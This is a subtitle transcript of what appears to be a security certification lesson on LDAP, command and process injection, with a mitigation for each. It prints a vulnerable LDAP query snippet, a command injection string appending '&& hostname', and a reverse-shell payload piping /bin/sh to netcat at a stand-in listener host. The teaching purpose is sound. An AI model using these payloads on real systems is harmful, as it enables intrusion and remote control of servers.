1
00:00:00,270 --> 00:00:01,260
In this lesson,

2
00:00:01,260 --> 00:00:03,570
we're going to discuss some common injection attacks

3
00:00:03,570 --> 00:00:06,210
including LDAP injections, command injections

4
00:00:06,210 --> 00:00:07,860
and process injections.

5
00:00:07,860 --> 00:00:10,260
First, we have LDAP injections.

6
00:00:10,260 --> 00:00:12,990
LDAP or the lightweight directory access protocol

7
00:00:12,990 --> 00:00:14,640
is an open, vendor neutral

8
00:00:14,640 --> 00:00:16,770
industry standard application protocol

9
00:00:16,770 --> 00:00:17,940
for accessing and maintaining

10
00:00:17,940 --> 00:00:20,100
distributed directory information services

11
00:00:20,100 --> 00:00:22,170
over an internet protocol network.

12
00:00:22,170 --> 00:00:24,090
LDAP is often used for authentication

13
00:00:24,090 --> 00:00:26,100
and storing information about users,

14
00:00:26,100 --> 00:00:28,020
groups and applications.

15
00:00:28,020 --> 00:00:30,540
An LDAP injection is an application attack

16
00:00:30,540 --> 00:00:32,460
that targets web-based applications

17
00:00:32,460 --> 00:00:34,260
by fabricating LDAP statements

18
00:00:34,260 --> 00:00:36,600
that are typically created by user input.

19
00:00:36,600 --> 00:00:39,240
For example, if a web application uses LDAP

20
00:00:39,240 --> 00:00:41,160
as part of the user login process,

21
00:00:41,160 --> 00:00:43,470
an attacker could perform an LDAP injection

22
00:00:43,470 --> 00:00:45,450
to search for the users on that server

23
00:00:45,450 --> 00:00:47,730
by injecting queries into the LDAP search,

24
00:00:47,730 --> 00:00:50,220
similar to how an attacker inserts malicious queries

25
00:00:50,220 --> 00:00:52,170
into an SQL injection.

26
00:00:52,170 --> 00:00:54,660
For example, if the backend code for the server

27
00:00:54,660 --> 00:00:56,100
use the following code,

28
00:00:56,100 --> 00:00:58,467
string ldapSearch = "(cn = $searchName")";

29
00:01:00,480 --> 00:01:03,270
System.out.println(ldapSearch);

30
00:01:03,270 --> 00:01:04,769
this could actually allow an attacker

31
00:01:04,769 --> 00:01:07,590
to simply enter a wildcard character of star

32
00:01:07,590 --> 00:01:08,970
into the username field

33
00:01:08,970 --> 00:01:11,340
and that would then be inserted as the search parameter

34
00:01:11,340 --> 00:01:14,580
and display all of your users on the system to your screen.

35
00:01:14,580 --> 00:01:17,070
To protect yourself against an LDAP injection attack,

36
00:01:17,070 --> 00:01:18,930
you should always use input validation

37
00:01:18,930 --> 00:01:21,990
and input sanitization, just like we do to protect ourselves

38
00:01:21,990 --> 00:01:25,110
from an SQL injection or an XML injection.

39
00:01:25,110 --> 00:01:27,420
Second, we have a command injection.

40
00:01:27,420 --> 00:01:29,700
Now, a command injection occurs when a threat actor

41
00:01:29,700 --> 00:01:32,940
is able to execute arbitrary shell commands on a host

42
00:01:32,940 --> 00:01:35,190
via a vulnerable web application.

43
00:01:35,190 --> 00:01:37,440
For example, if you have a web application

44
00:01:37,440 --> 00:01:39,240
that allows a user to test a connectivity

45
00:01:39,240 --> 00:01:40,860
with a remote website or server

46
00:01:40,860 --> 00:01:43,350
by simply entering in the IP address or host name,

47
00:01:43,350 --> 00:01:46,290
and then on the backend you're going to use the ping command,

48
00:01:46,290 --> 00:01:48,360
this could be subject to a command injection

49
00:01:48,360 --> 00:01:50,730
by simply appending a command to the app.

50
00:01:50,730 --> 00:01:53,460
For example, your application in this website

51
00:01:53,460 --> 00:01:54,600
might have a form that's going to allow you

52
00:01:54,600 --> 00:01:56,250
to enter an IP address

53
00:01:56,250 --> 00:01:58,440
and the web application then takes that input

54
00:01:58,440 --> 00:01:59,880
and adds it to the ping command

55
00:01:59,880 --> 00:02:01,590
to execute it on your server.

56
00:02:01,590 --> 00:02:05,100
So if I enter diontraining.com and hit the button,

57
00:02:05,100 --> 00:02:06,180
it's going to send that over

58
00:02:06,180 --> 00:02:08,880
and become ping diontraining.com.

59
00:02:08,880 --> 00:02:10,740
But if instead, I decide

60
00:02:10,740 --> 00:02:15,090
to enter diontraining.com && hostname into that field,

61
00:02:15,090 --> 00:02:16,110
this will create a command

62
00:02:16,110 --> 00:02:19,290
of ping diontraining.com && hostname

63
00:02:19,290 --> 00:02:21,690
that's going to be executed by the server shell.

64
00:02:21,690 --> 00:02:23,820
This would then return the result of the ping command

65
00:02:23,820 --> 00:02:26,550
and then display the host name of that server.

66
00:02:26,550 --> 00:02:28,680
If I wanted to make this a little bit more malicious,

67
00:02:28,680 --> 00:02:30,000
I can instead use something like,

68
00:02:30,000 --> 00:02:34,496
diontraining.com && /bin/sh

69
00:02:34,496 --> 00:02:39,496
l nc hacked.diontraining.com 443.

70
00:02:39,510 --> 00:02:41,760
This would then ping diontraining.com

71
00:02:41,760 --> 00:02:43,440
and then move to the second command,

72
00:02:43,440 --> 00:02:44,790
which is starting up a shell

73
00:02:44,790 --> 00:02:46,800
and redirecting it over to netcat

74
00:02:46,800 --> 00:02:50,040
to a listener that I have set up hackdiontraining.com

75
00:02:50,040 --> 00:02:51,990
over port 443.

76
00:02:51,990 --> 00:02:54,180
This would essentially give me full interactive access

77
00:02:54,180 --> 00:02:56,970
to this web server by running the simple command injection

78
00:02:56,970 --> 00:02:58,830
against that vulnerable server.

79
00:02:58,830 --> 00:03:01,072
As you probably guessed, just like SQL injections,

80
00:03:01,072 --> 00:03:03,750
XML injections and LDAP injections,

81
00:03:03,750 --> 00:03:05,790
you can also prevent command injections

82
00:03:05,790 --> 00:03:07,680
by conducting proper input validation

83
00:03:07,680 --> 00:03:09,990
on input received from any of your users.

84
00:03:09,990 --> 00:03:11,640
In the case of this web application,

85
00:03:11,640 --> 00:03:15,120
we should only accept IP addresses or domain name as input,

86
00:03:15,120 --> 00:03:16,920
and we should only allow those to be pinged

87
00:03:16,920 --> 00:03:19,860
using this application and anything after the .com

88
00:03:19,860 --> 00:03:22,290
or the final octet should just be ignored

89
00:03:22,290 --> 00:03:24,780
or it's not sent over to that ping command.

90
00:03:24,780 --> 00:03:26,910
Third, we have process injections.

91
00:03:26,910 --> 00:03:28,710
Now, a process injection is a method

92
00:03:28,710 --> 00:03:31,320
of executing arbitrary code in the address space

93
00:03:31,320 --> 00:03:33,390
of a separate live process.

94
00:03:33,390 --> 00:03:35,640
Running code in the context of another process

95
00:03:35,640 --> 00:03:37,950
may allow access to the process' memory,

96
00:03:37,950 --> 00:03:39,540
system or network resources

97
00:03:39,540 --> 00:03:41,910
and possibly even elevated privileges.

98
00:03:41,910 --> 00:03:45,030
Execution via process injection may also evade detection

99
00:03:45,030 --> 00:03:47,610
from security products, because execution is masked

100
00:03:47,610 --> 00:03:49,440
under a legitimate process.

101
00:03:49,440 --> 00:03:50,760
Now, there are many different ways

102
00:03:50,760 --> 00:03:52,770
to inject code into a process.

103
00:03:52,770 --> 00:03:55,410
Many of these will abuse legitimate functionalities as well.

104
00:03:55,410 --> 00:03:57,930
This includes injection through DLLs,

105
00:03:57,930 --> 00:04:00,750
threat execution hijacking, process hollowing,

106
00:04:00,750 --> 00:04:03,600
process doppelganging, asynchronous procedure calls

107
00:04:03,600 --> 00:04:05,820
and portable execution injections.

108
00:04:05,820 --> 00:04:07,650
To mitigate against process injections,

109
00:04:07,650 --> 00:04:09,810
you should use endpoint security solutions

110
00:04:09,810 --> 00:04:11,550
that are configured to block common sequences

111
00:04:11,550 --> 00:04:12,780
of attack behavior.

112
00:04:12,780 --> 00:04:14,910
You can utilize a security Kernel module

113
00:04:14,910 --> 00:04:17,523
and you can utilize the practice of least privilege.